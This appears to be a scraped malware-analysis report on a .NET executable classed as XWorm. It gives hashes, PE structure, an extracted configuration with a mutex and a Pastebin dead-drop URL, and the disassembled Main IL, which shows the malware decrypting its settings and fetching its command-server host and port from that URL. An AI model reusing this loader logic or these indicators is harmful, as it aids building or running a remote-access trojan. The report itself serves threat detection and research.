Malicious
Malicious

cefc4268d4f249d6bcc3b7824c701ffb

PE Executable
|
MD5: cefc4268d4f249d6bcc3b7824c701ffb
|
Size: 33.28 KB
|
application/x-dosexec


Print
Infection Chain
Summary by MalvaGPT
Characteristics

Symbol Ofbuscation Score

Low

Hash
Hash Value
MD5
cefc4268d4f249d6bcc3b7824c701ffb
Sha1
fead55d909b2adf4f8390b8ea1ae4d3a9c57c567
Sha256
51d0243d2d1e636737e20ff002ba7aca85dbc0ae88bf93cbc4d0c839efe6b52b
Sha384
727a7848dbf034424d83e50b6b24f3b24c8a9a1b1581779af5f80e12a7ef8302d575b02ea3c399dbf00d56fc34241dcf
Sha512
32a054344a01c3a65da56acb7ba18774c2c7730f161345ebca690bdf423417584da45091406cf30255e24a7d87d7ec0f912a0698d01bb617304e71e57db84fd3
SSDeep
384:3FqGvIneYTEjCVxXjTorf1Pl/RZiQUac4LthMhGc61aO2fR3pkFTBLTaOZwxJd25:x3ZQ8tmIcG+fgFJ9juUOjh/b4
TLSH
25E24C487BE14313C5EEAFF12DF3A1050775E41B9923EB5E4CC889AA3F67A8185503E6

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Malware Configuration - XWorm config.
Config. Field
Value
Mutex

q7YKwnc595YFi7ke

Pastebin

https://pastebin.com/raw/TuujE2QV

KEY

<666666>

USBNM

<XWormmm>

family

xworm

Informations
Name
Value
Info

PE Detect: PeReader OK (file layout)

Module Name

lol.exe

Full Name

lol.exe

EntryPoint

System.Void Stub.Main::Main()

Scope Name

lol.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

lol

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

156

Main Method

System.Void Stub.Main::Main()

Main IL Instruction Count

83

Main IL

ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::SPL ldsfld System.String Settings::Group call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Group ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::USBNM ldsfld System.String Settings::PasteUrl call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::PasteUrl leave.s IL_008A: call System.Boolean Stub.Helper::CreateMutex() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_008A: call System.Boolean Stub.Helper::CreateMutex() call System.Boolean Stub.Helper::CreateMutex() brtrue.s IL_0097: ldsfld System.String Settings::PasteUrl ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) ldsfld System.String Settings::PasteUrl call System.String Stub.Main::DownloadStr(System.String) stloc.0 <null> ldloc.0 <null> ldc.i4.1 <null> newarr System.Char stloc.s V_4 ldloc.s V_4 ldc.i4.0 <null> ldc.i4.s 58 stelem.i2 <null> ldloc.s V_4 callvirt System.String[] System.String::Split(System.Char[]) ldc.i4.0 <null> ldelem.ref <null> stsfld System.String Settings::Host ldloc.0 <null> ldc.i4.1 <null> newarr System.Char stloc.s V_4 ldloc.s V_4 ldc.i4.0 <null> ldc.i4.s 58 stelem.i2 <null> ldloc.s V_4 callvirt System.String[] System.String::Split(System.Char[]) ldc.i4.1 <null> ldelem.ref <null> stsfld System.String Settings::Port call System.Void Stub.Helper::PreventSleep() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>

Module Name

lol.exe

Full Name

lol.exe

EntryPoint

System.Void Stub.Main::Main()

Scope Name

lol.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

lol

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

156

Main Method

System.Void Stub.Main::Main()

Main IL Instruction Count

83

Main IL

ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::SPL ldsfld System.String Settings::Group call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Group ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::USBNM ldsfld System.String Settings::PasteUrl call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::PasteUrl leave.s IL_008A: call System.Boolean Stub.Helper::CreateMutex() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_008A: call System.Boolean Stub.Helper::CreateMutex() call System.Boolean Stub.Helper::CreateMutex() brtrue.s IL_0097: ldsfld System.String Settings::PasteUrl ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) ldsfld System.String Settings::PasteUrl call System.String Stub.Main::DownloadStr(System.String) stloc.0 <null> ldloc.0 <null> ldc.i4.1 <null> newarr System.Char stloc.s V_4 ldloc.s V_4 ldc.i4.0 <null> ldc.i4.s 58 stelem.i2 <null> ldloc.s V_4 callvirt System.String[] System.String::Split(System.Char[]) ldc.i4.0 <null> ldelem.ref <null> stsfld System.String Settings::Host ldloc.0 <null> ldc.i4.1 <null> newarr System.Char stloc.s V_4 ldloc.s V_4 ldc.i4.0 <null> ldc.i4.s 58 stelem.i2 <null> ldloc.s V_4 callvirt System.String[] System.String::Split(System.Char[]) ldc.i4.1 <null> ldelem.ref <null> stsfld System.String Settings::Port call System.Void Stub.Helper::PreventSleep() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>

Artefacts
Name
Value
Mutex

q7YKwnc595YFi7ke

Pastebin

https://pastebin.com/raw/TuujE2QV

cefc4268d4f249d6bcc3b7824c701ffb (33.28 KB)
An error has occurred. This application may no longer respond until reloaded. Reload 🗙